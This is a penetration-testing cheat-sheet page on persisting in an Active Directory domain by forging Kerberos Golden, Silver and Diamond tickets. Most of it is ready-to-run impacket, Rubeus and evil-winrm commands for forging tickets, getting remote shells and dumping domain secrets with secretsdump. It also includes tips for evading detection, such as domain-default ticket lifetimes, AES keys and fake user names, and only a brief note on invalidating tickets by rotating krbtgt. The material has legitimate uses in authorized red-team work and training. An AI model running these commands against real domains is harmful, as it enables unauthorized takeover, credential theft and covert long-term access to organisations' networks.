Skip to content
HackIndex logo

HackIndex

Golden and Silver Ticket Persistence

4 min read Jul 10, 2026

Golden and Silver Tickets are forged Kerberos tickets that give persistent authenticated access to domain resources without using real credentials. A Golden Ticket is a forged TGT signed with the krbtgt hash — valid for any service in the domain. A Silver Ticket is a forged TGS for a specific service, signed with that service account's hash. Both remain valid until the signing account's password is changed.

Golden Ticket — domain-wide persistence

A Golden Ticket requires the krbtgt NT hash and the domain SID. Both come from DCSync — see DCSync and Domain Takeover.

┌──(kali㉿kali)-[~]
└─$ # Get domain SID
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD --get-sid
┌──(kali㉿kali)-[~]
└─$ # Or from secretsdump output
 
┌──(kali㉿kali)-[~]
└─$ # Forge Golden Ticket — valid 10 years by default
┌──(kali㉿kali)-[~]
└─$ impacket-ticketer -nthash $KRBTGT_NTHASH -domain-sid $DOMAIN_SID -domain $DOMAIN Administrator
 
┌──(kali㉿kali)-[~]
└─$ # Use the ticket
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=Administrator.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/Administrator@$DC_HOSTNAME -k -no-pass
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/Administrator@$DC_HOSTNAME -k -no-pass
 
┌──(kali㉿kali)-[~]
└─$ # Forge for non-existent user (harder to detect by user monitoring)
┌──(kali㉿kali)-[~]
└─$ impacket-ticketer -nthash $KRBTGT_NTHASH -domain-sid $DOMAIN_SID -domain $DOMAIN ghost_admin 
[*] Creating basic skeleton ticket and PAC Infos
[*] Signing/Encrypting final ticket
[*] Saving ticket in Administrator.ccache
┌──(kali㉿kali)-[~]
└─$ # Default mimikatz/impacket Golden Tickets have 10-year lifetime
┌──(kali㉿kali)-[~]
└─$ # This is detectable — use domain-default values instead
 
┌──(kali㉿kali)-[~]
└─$ # Domain defaults: 10 hour lifetime, 7 day renewal
┌──(kali㉿kali)-[~]
└─$ impacket-ticketer -nthash $KRBTGT_NTHASH -domain-sid $DOMAIN_SID -domain $DOMAIN -duration 10 -extra-pac Administrator
 
┌──(kali㉿kali)-[~]
└─$ # Use AES256 key instead of NT hash (less detectable)
┌──(kali㉿kali)-[~]
└─$ # Get AES256 key from secretsdump output — look for aes256_hmac
┌──(kali㉿kali)-[~]
└─$ impacket-ticketer -aesKey $KRBTGT_AES256 -domain-sid $DOMAIN_SID -domain $DOMAIN Administrator
PS C:\Users\Guest\Desktop> # Forge and inject into current session
PS C:\Users\Guest\Desktop> C:\Windows\Temp\Rubeus.exe golden /user:Administrator /domain:$DOMAIN /sid:$DOMAIN_SID /rc4:$KRBTGT_NTHASH /ptt
 
PS C:\Users\Guest\Desktop> # With AES256 (preferred)
PS C:\Users\Guest\Desktop> C:\Windows\Temp\Rubeus.exe golden /user:Administrator /domain:$DOMAIN /sid:$DOMAIN_SID /aes256:$KRBTGT_AES256 /ptt
 
PS C:\Users\Guest\Desktop> # Save to file for later use
PS C:\Users\Guest\Desktop> C:\Windows\Temp\Rubeus.exe golden /user:Administrator /domain:$DOMAIN /sid:$DOMAIN_SID /rc4:$KRBTGT_NTHASH /outfile:golden.kirbi
 
PS C:\Users\Guest\Desktop> # Verify ticket is loaded
PS C:\Users\Guest\Desktop> klist

Golden Tickets remain valid until the krbtgt password is changed twice. Defenders who discover a Golden Ticket must rotate krbtgt twice to invalidate it — the first rotation does not immediately invalidate existing tickets because DCs may still have the old key cached. This makes Golden Tickets a very durable persistence mechanism.

Silver Ticket — service-specific persistence

A Silver Ticket targets one specific service and is signed with that service account's hash rather than krbtgt. It does not require DC interaction to use and does not appear in Kerberos event logs on the DC — only on the target service host.

┌──(kali㉿kali)-[~]
└─$ # Silver Ticket for CIFS (SMB file access) on a specific host
┌──(kali㉿kali)-[~]
└─$ # Requires the machine account hash of the target host
┌──(kali㉿kali)-[~]
└─$ impacket-ticketer -nthash $TARGET_MACHINE_NTHASH -domain-sid $DOMAIN_SID -domain $DOMAIN -spn cifs/$TARGET_COMPUTER.$DOMAIN Administrator
 
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=Administrator.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-smbclient $DOMAIN/Administrator@$TARGET_COMPUTER.$DOMAIN -k -no-pass
 
┌──(kali㉿kali)-[~]
└─$ # Silver Ticket for HOST service (task scheduling, WMI)
┌──(kali㉿kali)-[~]
└─$ impacket-ticketer -nthash $TARGET_MACHINE_NTHASH -domain-sid $DOMAIN_SID -domain $DOMAIN -spn host/$TARGET_COMPUTER.$DOMAIN Administrator
 
┌──(kali㉿kali)-[~]
└─$ # Silver Ticket for HTTP (WinRM)
┌──(kali㉿kali)-[~]
└─$ impacket-ticketer -nthash $TARGET_MACHINE_NTHASH -domain-sid $DOMAIN_SID -domain $DOMAIN -spn http/$TARGET_COMPUTER.$DOMAIN Administrator
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=Administrator.ccache
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_COMPUTER.$DOMAIN -u Administrator --kerberos

Diamond Ticket — harder to detect than Golden

A Diamond Ticket modifies a legitimate TGT rather than forging one from scratch. It requests a real TGT from the KDC and patches it to add group memberships. Because it contains a valid PAC from the DC, it bypasses PAC validation checks that detect Golden Tickets.

┌──(kali㉿kali)-[~]
└─$ # Requires krbtgt AES256 key or NT hash
┌──(kali㉿kali)-[~]
└─$ C:\Windows\Temp\Rubeus.exe diamond /domain:$DOMAIN /user:$USER /password:$PASSWORD /dc:$DC_HOSTNAME /enctype:aes /krbkey:$KRBTGT_AES256 /ticketuser:Administrator /ticketuserid:500 /groups:512 /ptt
 
┌──(kali㉿kali)-[~]
└─$ # Verify
┌──(kali㉿kali)-[~]
└─$ klist
┌──(kali㉿kali)-[~]
└─$ dir \\$DC_HOSTNAME\C$

Golden Tickets invalidated when krbtgt is rotated twice. Silver Tickets invalidated when the service account password changes. Diamond Tickets invalidated when krbtgt is rotated. For account-based persistence that survives ticket invalidation see AD Account and ACL Persistence.

References